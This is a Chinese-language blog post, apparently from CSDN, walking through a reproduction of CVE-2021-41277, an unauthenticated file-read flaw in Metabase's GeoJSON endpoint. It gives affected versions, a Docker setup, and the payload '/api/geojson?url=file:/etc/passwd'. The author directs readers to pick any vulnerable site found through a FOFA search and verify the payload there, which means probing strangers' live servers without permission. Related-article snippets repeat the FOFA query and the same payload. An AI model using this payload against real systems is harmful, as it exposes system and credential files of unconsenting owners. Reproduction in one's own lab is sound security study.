CVE-2021-41277(metebase信息泄漏漏洞复现)

最新推荐文章于 2024-07-15 10:51:30 发布
最新推荐文章于 2024-07-15 10:51:30 发布
阅读量1.8k 收藏 1
点赞数
分类专栏： 漏洞复现 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/haoaaao/article/details/124425550
版权
本文介绍了开源BI工具Metabase的漏洞情况，重点关注了版本号为0.40.5之前的和1.0.0到1.40.5之间的版本。通过Docker在Kali Linux上搭建了Metabase环境，并展示了如何复现漏洞，使用POC验证了/api/geojson接口的安全问题，该接口允许通过URL参数读取系统文件，例如/etc/passwd。
摘要由CSDN通过智能技术生成

0x00 前置知识

1、metebase

         metabase是一款开源的BI分析工具，开发语言clojure+React为主、也有高阶的收费版。 官网：Metabase | Business Intelligence, Dashboards, and Data Visualization 可以利用Metabase进行数据分析，数据可视化，报表生成等。

Metabase介绍_Sshine___的博客-CSDN博客_metabase

2、影响版本：

        metabase version < 0.40.5
        metabase version >= 1.0.0, < 1.40.5

0x01 工具

1、docker

kali下对Docker的详细安装_涂寐的博客-CSDN博客_kali安装docker

2、kali

0x02 漏洞复现

1、fofa语法搜索

2、环境搭建

1）创建并运行容器

 

2）复现 

（1）设置一下metebase

（2）随便在刚刚fofa找到的有metebase漏洞的网址，验证poc

/api/geojson?url=file:/etc/passwd

 

haoaaao
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
【漏洞复现】Metabase 远程命令执行漏洞(CVE-2023-38646)
做自己喜欢的事，并将其发挥到极致！
08-03 4803
Metabase是美国Metabase公司的一个开源数据分析平台。Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松地连接到各种数据源，包括数据库、云服务和API，然后使用直观的界面进行数据查询、分析和可视化。Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞，该漏洞源于允许攻击者以服务器的权限级别在服务器上执行任意命令。
Metabase CVE-2021-41277 信息泄露漏洞复现
小小猪的博客
12-04 477
Metabase CVE-2021-41277 信息泄露漏洞复现 漏洞简介: Metabase是美国Metabase公司的一个开源数据分析平台。 Metabase 中存在信息泄露漏洞，该漏洞源于产品的 admin-＞settings-＞maps-＞custom maps-＞add a map 操作缺少权限验证。攻击者可通过该漏洞获得敏感信息。 FOFA搜索app="Metabase": POC {{BaseURL}}/api/geojson?url=file:/etc/passwd .
Metabase geojson任意文件读取漏洞 （CVE-2021-41277）
最新发布
qq_23003811的博客
07-15 205
四、漏洞复现，访问/api/geojson?url=file:/etc/passwd，flag在这：/api/geojson?Metabase 是一个开源数据分析平台。在受影响的版本中，已发现自定义 GeoJSON 地图（）支持和潜在的本地文件包含（包括环境变量）存在安全问题，URL 在加载之前未经过验证。1、FOFA查询语句：app="metabase"
CVE-2021-41277——Metabase 信息泄露漏洞
热门推荐
LiBai'S BLOG
11-21 1万+
Metabase 信息泄露漏洞漏洞简介FOFA语法EXP漏洞测试漏洞修复 漏洞简介 Metabase是美国Metabase公司的一个开源数据分析平台。 Metabase 中存在信息泄露漏洞，该漏洞源于产品的 admin-＞settings-＞maps-＞custom maps-＞add a map 操作缺少权限验证。攻击者可通过该漏洞获得敏感信息。 CNNVD编号：CNNVD-202111-1565 危害等级： 超危 CVE编号： CVE-2021-41277 FOFA语法 app="Metabase
【vulhub系列】CVE-2021-41277 Metabase 信息泄露漏洞复现
Wiofgb的博客
10-01 1036
CVE-2021-41277 Metabase 信息泄露漏洞复现
Metabase 信息泄露漏洞（CVE-2021-41277）——漏洞复现
W小哥
11-24 3018
一、漏洞简介 metabase 是一个简单、开源的数据分析平台。 CVE-2021-41277 在受影响的版本中，自定义 GeoJSON 地图（admin->settings->maps->custom maps->add a map）操作缺少权限验证，攻击者可通过该漏洞获得敏感信息。 该漏洞CVSS评分：9.9，危害等级：严重 二、影响版本 影响版本： metabase version < 0.40.5 metabase version >= 1.0.0, < 1
CVE-2021-41773漏洞复现
Aquarius_ego的博客
03-24 1429
CVE-2021-41773漏洞复现
CVE-2021-31166 漏洞复现
miko's blog
10-25 1370
CVE-2021-31166漏洞复现漏洞导读漏洞版本漏洞复现总结 CVE-2021-31166 Exploit https://github.com/ConMiko/CVE-2021-31166-exploit 官方补丁 https://msrc.microsoft.com/update-guide/en-us/releaseNote/2021-May 漏洞导读 CVE-2021-31166 (HTTP Protocol Stack Remote Code Execution Vulnerabilit
CVE-2021-21975:Nmap脚本检查漏洞CVE-2021-21975
04-06
CVE-2021-21975 Nmap脚本检查漏洞CVE-2021-21975 漏洞参考： 博客 例子 nmap -p443 --script cve-2021-21975.nse --script-args vulns.showall IP
CVE-2021-25735:利用CVE-2021-25735
05-14
CVE-2021-25735 利用CVE-2021-25735：Kubernetes验证准入Webhook绕过 设置脆弱的环境 让我们从运行脚本gencerts.sh开始以生成TLS证书和密钥。 bash gencerts.sh 要部署接纳控制器，您需要在本地构建Docker容器映像...
检测通过“ proxylogon”组漏洞（CVE-2021-26855，CVE-2021-26857，CVE-2021-26858，CVE-2021-27065）利用的Microsoft Exchange服务器上掉落的Web Shell-.NET开发
05-27
预认证SSRF，CVSS：3.0 9.1 / 8.4 CVE-2021-26857，不安全的反序列化导致特权升级到SYSTEM级别，CVSS：3.0 7.8 / 7.2 CVE-2021-26858，认证后文件写入， CVSS：3.0 7.8 / 7.2 CVE-2021-27065，认证后文件写入，CVSS...
CVE-2021-25281：链接CVE-2021-25281和CVE-2021-25282以利用SaltStack
03-03
在2021年，盐栈遭遇了两个严重的安全漏洞，分别是CVE-2021-25281和CVE-2021-25282。这两个漏洞允许攻击者在受影响的系统上执行任意代码，从而可能导致数据泄露、系统破坏或被用作进一步攻击的跳板。 **CVE-2021-...
cve_2021_41277
qq_53086690的博客
11-21 581
cve_2021_41277 Metabase概述 Metabase可以帮助你把数据库中的数据更好的呈现给更多人，数据分析人员通过建立一个”查询“（Metabase中定义为Question）来提炼数据，再通过仪表盘（Dashboards）来组合展示给公司成员 漏洞影响版本 metabase version < 0.40.5 metabase version >= 1.0.0, < 1.40.5 漏洞概述 该漏洞的某个地址存在未授权访问，并且能够进行任意文件的读取 漏洞复现 对存在该漏洞的
Metabase 敏感信息泄露漏洞复现（CVE-2021-41277）
千寻的博客
12-20 1839
文章目录漏洞描述漏洞编号FOFA 查询影响范围修复版本：环境搭建漏洞复现漏洞修复摘抄 漏洞描述 metabase 是一个简单、开源的数据分析平台。 在受影响的版本中，自定义 GeoJSON 地图（admin->settings->maps->custom maps->add a map）操作缺少权限验证 攻击者可通过该漏洞获得敏感信息。 漏洞编号 CVE-2021-41277 FOFA 查询 app=”metabase” 影响范围 metabase version &lt
Metabase任意文件读取漏洞（CVE-2021-41277）
一枚不知名的Java程序猿
10-03 1634
CVE-2021-41277漏洞复现
开源BI分析工具 Metabase 中存在远程代码执行漏洞，未完全修复
smellycat000的专栏
07-28 346
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士在商业情报 (BI) 领域，开源工具 Metabase 以无缝的数据解释能力占据一席之地。该自助服务BI工具已用于全球各地的组织机构中，赋能用户提出数据问题并获得可视化的、易于理解的答案。Metabase 的设计对用户友好，无需了解SQL或其它编程语言的知识，扩宽了组织机构中的可用性。Metabase 与多种数据来源相连，如关系数据库、云存储和平...
Metabase 存在任意文件读取漏洞
nnn2188185的博客
04-28 363
Metabase是美国Metabase公司的一个开源数据分析平台。 Metabase 中存在信息泄露漏洞，该漏洞源于产品的 admin-＞settings-＞maps-＞custom maps-＞add a map 操作缺少权限验证。攻击者可通过该漏洞获得敏感信息。
复现vulhub中Metabase任意文件读取漏洞（CVE-2021-41277）
YX_zjp的博客
04-30 445
Metabase是一个开源的数据分析平台。在其0.40.0到0.40.4、1.0.0 <= Metabase version < 1.40.5版本中，GeoJSON URL验证功能存在远程文件读取漏洞，未授权的攻击者可以利用这个漏洞读取服务器上的任意文件，包括环境变量等。系统：ubuntu20.04。
cve-2021-3618漏洞复现
02-06
CVE-2021-3618漏洞是指影响了Mozilla Firefox浏览器的一个安全漏洞。该漏洞的复现步骤如下： 1. 首先，你需要安装最新版本的Mozilla Firefox浏览器。确保你的浏览器已经更新到最新版本，因为最新版本通常会修复已知...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

haoaaao

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值